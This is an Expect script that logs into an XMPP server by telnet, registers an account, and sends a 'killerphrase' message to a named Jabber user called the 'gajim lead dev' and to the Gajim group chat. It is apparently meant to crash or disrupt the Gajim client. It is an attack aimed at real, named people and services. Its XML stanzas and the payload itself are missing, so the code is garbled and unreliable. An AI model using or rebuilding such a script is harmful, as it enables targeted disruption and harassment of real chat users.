#!/usr/bin/expect
## This program is free software. It comes without any warranty, to
## the extent permitted by applicable law. You can redistribute it
## and/or modify it under the terms of the Do What The Fuck You Want
## To Public License, Version 2, as published by Sam Hocevar. See
## http://sam.zoy.org/wtfpl/COPYING for more details.
## define variables
set server jaim.at
set port 5222
set username gajim-quitter
set password test
set resource telnet
set killerphrase
## take aim on gajim lead dev
set victim asterix@jabber.lagaule.org
## take aim on gajim groupchat
set victimgroup gajim@conference.gajim.org
## open telnet session
spawn telnet $server $port
## start XML stream
send "\n"
expect "stream:stream"
## find out how to register
send "\n"
expect "result"
## register
send "$username$passwordmyNameemail@domain.com\n"
expect "result"
## find out how to login
send "$username\n"
expect "result"
## login
send "$username$resource$password\n"
expect "result"
## annoy one guy
send "\n"
expect "get"
send "$killerphrase\n"
## annoy the whole room
send "\n"
send "$killerphrase\n"
# drop off
send "\n"